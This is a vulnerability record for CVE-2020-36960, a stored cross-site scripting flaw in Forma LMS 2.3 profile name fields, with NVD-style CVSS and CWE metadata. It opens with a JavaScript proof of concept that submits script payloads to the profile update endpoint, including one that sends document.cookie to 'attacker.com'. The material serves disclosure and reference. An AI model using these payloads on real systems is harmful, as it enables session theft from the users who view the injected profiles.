CVE-2020-36960

// CVE-2020-36960 PoC - Forma LMS Stored XSS in User Profile // Target: Forma LMS 2.3 user profile first_name/last_name fields // Step 1: Identify the vulnerable endpoint const targetUrl = 'https://target-forma-lms.com/appLms/index.php?r=root/adm_user/update'; // Step 2: Create malicious payload for first_name or last_name field const xssPayload = "<script>alert(document.cookie)</script>"; const xssPayloadSteal = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"; // Step 3: Send request to update user profile with XSS payload // Using fetch API to submit the profile update form async function exploitStoredXSS() { const formData = new FormData(); // These fields are vulnerable to XSS formData.append('firstname', xssPayload); formData.append('lastname', '<script>alert(document.domain)</script>'); // Additional required fields formData.append('email', '[email protected]'); formData.append('password', ''); try { const response = await fetch(targetUrl, { method: 'POST', body: formData, credentials: 'include' // Include session cookies }); console.log('XSS payload injected successfully'); console.log('Payload will execute when profile is viewed by other users'); } catch (error) { console.error('Exploitation failed:', error); } } exploitStoredXSS();

{"cve": {"id": "CVE-2020-36960", "sourceIdentifier": "[email protected]", "published": "2026-01-26T18:16:27.020", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Forma LMS 2.3 contains a stored cross-site scripting vulnerability that allows attackers to inject malicious scripts into user profile first and last name fields. Attackers can craft scripts like '<script>alert(document.cookie)</script>' to execute arbitrary JavaScript when the profile is viewed by other users."}, {"lang": "es", "value": "Forma LMS 2.3 contiene una vulnerabilidad de secuencias de comandos entre sitios almacenadas que permite a los atacantes inyectar secuencias de comandos maliciosas en los campos de nombre y apellidos del perfil del usuario. Los atacantes pueden crear secuencias de comandos como '' para ejecutar JavaScript arbitrario cuando otros usuarios ven el perfil."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49197", "source": "[email protected]"}, {"url": "https://www.formalms.org/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/forma-lms-first-last-name-stored-cross-site-scripting", "source": "[email protected]"}]}}